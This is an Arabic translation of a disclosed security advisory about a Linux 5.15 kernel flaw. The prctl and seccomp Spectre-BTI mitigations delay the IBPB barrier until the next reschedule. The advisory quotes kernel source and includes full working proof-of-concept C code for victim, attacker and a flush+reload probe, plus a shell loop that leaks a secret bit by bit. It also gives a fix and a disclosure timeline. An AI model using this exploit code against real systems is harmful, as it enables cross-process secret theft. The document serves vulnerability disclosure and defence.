
تحليل تقني وإثبات مفهوم يوضح تجاوز إجراءات تخفيف Spectre-BTI في مساحة المستخدم لنواة لينكس عبر prctl و seccomp، مع شرح على مستوى الكود ونتائج الاختبار.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
عند اختبار معدل نجاح هجمات Spectre-BTI، اكتشفنا نمطًا غريبًا عند استخدام واجهة برمجة تطبيقات kernel كإجراء تخفيف1. أظهرت اختباراتنا أن نواة Linux تفشل في تخفيف الهجوم بشكل صحيح، مما يترك العملية مكشوفة لفترة قصيرة بعد استدعاء النظام.
أظهرت التحقيقات الإضافية أن النواة لا تصدر IBPB فورًا أثناء استدعاء النظام. تقوم وظيفة ib_prctl_set2 بتحديث أعلام معلومات الخيط (TIFs) للمهمة وتحديث MSR SPEC_CTRL في الوظيفة __speculation_ctrl_update 3، ولكن يتم إصدار IBPB فقط في الجدولة التالية، عندما يتم التحقق من بتات TIF. وهذا يترك الضحية عرضة للقيم التي تم حقنها بالفعل في BTB، قبل استدعاء prctl. يتم تصحيح السلوك فقط بعد إعادة جدولة المهمة. علاوة على ذلك، فإن دخول النواة (بسبب استدعاء النظام نفسه)، لا يصدر IBPB في السيناريوهات الافتراضية (أي عندما تحمي النواة نفسها عبر retpoline أو eIBRS).
تنفيذ prctl لتخفيف هجمات spectre-BTI باستخدام:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
يؤدي إلى وظيفة ib_prctl_set2 على kernel 5.15. عند استخدام الخيار SPEC_DISABLE، يتم تعيين بت TIF لـ task_set_spec_ib_disable ويتم استدعاء task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable تستدعي set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); وإذا كانت المهمة المستهدفة هي المهمة الحالية، فإنها تستدعي speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
بعد غلاف speculation_ctrl_update، تنفذ speculation_ctrl_update_current الدالة __speculation_ctrl_update مع tifp = ~tifp، هنا يتم تنفيذ تحديث wrmsr لتعيين STIBP ولكن لا يتم إصدار IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
يستخدم استدعاء نظام seccomp أيضًا ib_prctl_set2 كإجراء تخفيف، داخل arch_seccomp_spec_mitigate4 لذلك من المتوقع نفس النتيجة مع seccomp.
بينما نحن متأكدون من خلال تحليل الكود من وجود نافذة للاستغلال، لم يكن واضحًا ما إذا كانت كبيرة بما يكفي لتحميل الضحية للأسرار وتسريبها من قبل المهاجم (حيث من المتوقع ألا تكون الأسرار موجودة في مساحة عنوان الضحية حتى يتم استدعاء prctl). تم تنفيذ الاختبارات على جهاز فعلي يدعم إجراءات التخفيف من الأجهزة، مع تثبيت ubuntu 22.04.1 LTS:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
يتكون كود الاختبار من عمليتين يتم تنفيذهما على نفس النواة المنطقية. يقوم المهاجم باستمرار بتسميم BTB بعنوان أداة spectre الموجودة في عملية الضحية. تقوم عملية الضحية بقياس معدل التوقع الخاطئ عن طريق التحقق مما إذا كان متغير الاختبار قد تم الوصول إليه بواسطة وظيفة أداة spectre. يعيد هذا عادةً المخرجات التالية:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
ثم، يتم استخدام PRCTL لتخفيف الهجوم. يمكن تمكين التخفيف عن طريق إضافة prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); في بداية البرنامج. من المتوقع أن يخفف هذا من هجوم spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
ومع ذلك، أظهرت بعض الاختبارات نتيجة مختلفة:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
ويبدو أن تغيير 'nice' (الأولوية) يؤثر على معدل التوقع الخاطئ:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
يشير هذا إلى أن prctl يحمي العملية فقط بعد الجدولة التالية، كما هو مفهوم من تحليل الكود. سلوك غريب آخر لهذا الاختبار هو أنه بعد فرع غير صحيح، يجب تصحيح مسار التخمين ويجب كتابة القيمة الحقيقية على BTB. نظرًا لعدم وجود مهاجمين آخرين على الخيط الشقيق لإعادة تسميم BTB، فإن قيم التوقع الخاطئ العالية هذه غير متوقعة.
للتأكد من أن هذا ليس خطأ في القياس، أنشأنا POC بسيط. يقوم كود الضحية دائمًا بتنفيذ safe_function من خلال مؤشر دالة معرض لهجوم spectre-BTI. تطلب الضحية من النواة الحماية باستخدام استدعاء النظام prctl (داخل protect_me). تقوم الضحية أيضًا بتحميل سر من ملف نصي، مما يوضح أن استدعاءات النظام الأخرى أيضًا لا تتحقق من بت TIF أو تستدعي إعادة جدولة من شأنها أن تجبر IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
تم وضع معظم وظائف libc داخل رأس مشترك بين المهاجم والضحية بحيث تشترك spectre_gadget و spec في نفس عناوين الذاكرة
في كل من الضحية والمهاجم (وإلا يتم إنشاء إدخال .GOT وتغيير العناوين).
هذا ليس شرطًا وهناك طرق أخرى لوضع الفروع على نفس العناوين ومحاكاة سياق الضحية، لكن هذه الطريقة أبسط.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
يتكون الهجوم من تسميم BTB عن طريق استدعاء وظيفة spec وجعلها تتفرع إلى spectre_gadget بدلاً من safe_function. بعد التدريب، يتم إنشاء عملية الضحية وتنفيذ spec التي تتنبأ بشكل خاطئ إلى spectre_gadget والتي لا يجب تنفيذها أبدًا. يتم تسريب السر من خلال قناة جانبية flush+reload كلاسيكية.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
نظرًا لأن الضحية تتلقى وسيطة يمكن استخدامها لاختيار البت الذي سيتم تسريبه عبر القناة الجانبية، يمكننا تنفيذ عملية الضحية عدة مرات بينما يتم تنفيذ المهاجم:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
يترك هذا الملف النصي التالي:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
لاحظ أن البت 0 و 6 هما 1، لذلك يجب أن يكون الحرف الأول هو 0x41 (A).
يظهر تحليل الملف باستخدام برنامج python بسيط:
The secret leaked is: b'Asuper_secret_flag'
وهو بالضبط المحتوى الموجود في secret.txt الذي تستخدمه الضحية.
لا يمنع تغيير استدعاء prctl إلى seccomp مع syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); بعد تحميل السر الهجوم. هذا متوقع لأنه داخليًا كلاهما يستخدم نفس وظيفة ib_prctl_set لتنفيذ التخفيف.
يفشل التنفيذ الحالي لاستدعاء النظام prctl للتحكم التخميني في حماية المستخدم من المهاجمين الذين ينفذون قبل التخفيف. يفشل تخفيف seccomp أيضًا في هذا السيناريو.
بالنسبة لتطبيقات وضع المستخدم، فإن usleep بعد استدعاء prctl كافٍ لإجبار إعادة جدولة وضمان التخفيف الصحيح. أحد التصحيحات المحتملة للنواة لهذا الهجوم هو إصدار IBPB في نفس وقت تعيين STIBP، على __speculation_ctrl_update 3 أو استدعاء schedule().
27 ديسمبر 2022 - اكتشاف سلوك غير متوقع في prctl
29 ديسمبر 2022 - الإصدار الأول من هذه الوثيقة
31 ديسمبر 2022 - مشاركته مع فريق أمان نواة Linux
02 فبراير 2023 - الإعلان العام عن التقرير: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
"دليل واجهة برمجة تطبيقات مساحة المستخدم لنواة Linux: التحكم في التخمين". الرابط: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"كود مصدر Linux" الرابط: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"كود مصدر Linux" الرابط: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"كود مصدر Linux" الرابط: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩